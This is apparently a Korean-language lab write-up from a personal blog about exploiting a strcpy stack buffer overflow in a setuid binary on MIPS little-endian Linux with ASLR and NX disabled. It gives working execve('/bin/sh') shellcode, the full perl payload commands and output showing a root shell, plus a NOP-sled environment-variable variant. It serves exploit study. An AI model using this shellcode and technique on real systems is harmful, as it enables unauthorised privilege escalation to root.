ASLR - X
NX - X
취약 소스
#include <stdio.h>
int main (int argc, char *argv[])
{
char buf[100];
strcpy(buf, argv[1]);
}
페이로드
`perl -e 'print "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01", "A"x52, "\xb8\x66\xff\x7f"'`
결과
user@debian-mipsel:/home/simple_bof$ ./attack_me `perl -e 'print "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01", "A"x52, "\xd8\x66\xff\x7f"'`
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
#
\x00이 포함되지 않은 NOP을 사용한다면 좀 더 편리하게 권한을 얻을 수 있을 것 같다.
NOP이 없어서 +4바이트씩 브루트포싱함...
위 방법은 gdb로 쉘코드의 위치를 대강 유추하여 푼 방법이고, 이번엔 환경 변수를 이용하여 풀이하였다.
user@debian-mipsel:/home/practice$ ls -al exploit
-rwsr-xr-x 1 root user 7095 Feb 2 00:07 exploit
대상 파일은 위와 같고, setuid가 걸려있다.
NOP sled를 이용하기 위해 http://sangu1ne.tistory.com/124 에 있는 NOP인
move $gp, $gp #this not null 0x0380e021 을 이용하였다.
user@debian-mipsel:~$ export EGG=`perl -e 'print "\x03\xa0\xe8\x21"x500, "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"'`
user@debian-mipsel:/home/practice$ ./getegg1
egg : 0x7fff619c
user@debian-mipsel:/home/practice$ ./exploit `perl -e 'print "A"x108, "\x9c\x61\xff\x7f"'`
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
# whoami
root
'List > Embedded' 카테고리의 다른 글
Embedded 환경 구축 (0) | 2015.06.18 |
---|---|
firmware-mod-kit(fmk) 설치 (2) | 2015.01.23 |
[mipsel] shellcode 제작 - execve("/bin/sh", [/bin/sh, 0], 0) , 56byte (0) | 2015.01.11 |
[mipsel] add(a, b) 분석 (0) | 2014.12.26 |
[mipsel] execve 분석 (0) | 2014.12.26 |